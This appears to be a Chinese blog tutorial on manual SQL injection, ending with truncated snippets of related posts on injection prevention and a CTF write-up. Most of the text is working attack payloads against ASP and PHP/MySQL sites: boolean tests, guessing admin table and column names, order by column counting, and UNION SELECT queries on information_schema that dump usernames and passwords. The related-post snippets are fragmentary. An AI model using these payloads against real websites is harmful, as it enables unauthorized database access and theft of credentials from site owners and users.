簡單SQL注入

2021-08-21 15:05:04 字數 3207 閱讀 8255

sql注入思路:找注入點  ->  判斷是否為注入點  ->  猜表名  ->  猜欄位名  ->  爆出字段內容

那麼何為注入點?有引數進行資料庫傳遞的都可判為注入點。以此url為例:

***.***.xx.xx/show.asp?id=1   

//其中id即為引數,如果此url用sql語句來表示的話:則向資料庫中進行查詢的語句為

//select * from show where id=1;

測試語句:

***.***.xx.xx/show.asp?id=1 and 1=1 返回正常介面

***.***.xx.xx/show.asp?id=1 and 1=2 返回異常

說明此sql語句已被帶入到資料庫執行,因此存在注入。

***.***.xx.xx/show.asp?id=1 and exists(select * from admin)

and 連線exists()函式用來檢查是否存在admin表。回車後,如果頁面顯示正常則說明存在admin表

一些常見的表名:admin user adminuser manage manager manage_user

***.***.xx.xx/show.asp?id=1 and exists(select username,password from admin)
一些常見的欄位名:

賬戶:name username user_name admin adminuser admin_user admin_username adminname

密碼:password pass passwd userpass user_pass pwd userpwd admin_pwd

猜欄位名時可以找出後台管理登陸介面,通過檢視源**,可以根據name="username",根據name的value值獲取欄位名。

猜欄位內容時,需要用到聯合查詢。聯合查詢的使用前提是前後字段數必須保持一致,否則就會報錯。

猜字段數:***.***.xx.xx/show.asp?id=1 order by 5 //一般從大到小猜

聯合查詢:***.***.xx.xx/show.asp?id=1 union select 1,2,3,4,5 from admin

頁面可能回顯數字2,3

則用可能的欄位名代替2,3,爆出字段內容

***.***.xx.xx/show.asp?id=1 union select 1,username,password,4,5 from admin

既可猜解字段數量,又可獲得可以顯示內容的字段

***.***.xx.xx/show.asp?id=1 union select 1,2,3,4,5 from admin

挨個從1開始試

php+mysql 不需要我們去猜各種表或者欄位名,因為在information_schema中儲存著使用者在mysql中建立的其他所有資料庫的資訊。實際上,在對此種型別的**進行注入時,主要是針對information_schema資料庫進行操作。

檢視test資料庫中包含了哪些表:

select table_name from information_schema.tables where table_schema="test";

table_name:test資料庫中所有的表名

table_schema:資料庫名

檢視hack資料表中包含了哪些字段:

select column_name from information_schema.columns where table_name="hack"

column_name:表中所有的欄位名

sql注入思路:找注入點  ->  判斷是否為注入點  ->    猜欄位數量  ->  判斷可顯字段  ->  爆出當前版本、當前使用者、當前資料庫字段內容  ->  爆出資料表

***.***.xx.xx/show.php?id=1 and 1=2 union select 1,2,3,4,5

此處需要注意的是:php+mysql不需要指定資料表名,直接猜出字段數量再select 1,2,3,4,5就可以了

另外還需要注意的是:and 1=2是為了只顯示union select後的查詢內容,而不顯示前面的內容

如果回顯2,3

***.***.xx.xx/show.asp?id=1 and 1=2 union select 1,version(),3,4,5

version()的目的在於判斷是否為5.0以上版本,因為只有5.0以上版本的mysql才會有元資料庫

***.***.xx.xx/show.asp?id=1 and 1=2 union select 1,2,user(),4,5

user()顯示當前使用者

***.***.xx.xx/show.asp?id=1 and 1=2 union select 1,2,database(),4,5

database()顯示當前資料庫

***.***.xx.xx/show.php?id=1 and 1=2 union select 1,table_name,3,4,5 from information_schema.tables where table_schema="test";

在此說明一下,group_concat()可以顯示欄位中的所有內容

***.***.xx.xx/show.php?id=1 and 1=2 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema="test";

***.***.xx.xx/show.php?id=1 and 1=2 union select 1,column_name,3,4,5 from information_schema.columns where table_name="admin"
***.***.xx.xx/show.php?id=1 and 1=2 union select 1,unhex(hex(username)),unhex(hex(password)),4,5 from admin

unhex(hex())解決**編碼不一致的問題,進行編碼轉換

簡單sql注入防範

1 判斷資料 2 對提交過來的資料,進行判斷 a 字元型,通過下面函式過濾 function checkstr str if isnull str then checkstr exit function end if str replace str,chr 0 checkstr replace st...

簡單防sql注入

一 防止文字框注入 js html 只能輸入數字和字母 keyup return antisqlvalid this 二 防止url注入 在global檔案裡裡加入 if request.querystring null if request.form.count 0 else if s3 s1 三...

CTF Web簡單的SQL注入

慢慢開始做ctf吧。題目鏈結 我的解題過程 題目就是sql注入,先嘗試簡單的sql注入方式 一般的sql語句是 sql select from where 字段 常規注入 t or 1 1 t or 1 1 輸進去有了輸出,但沒有我們需要的flag mysql中所有表都存在information s...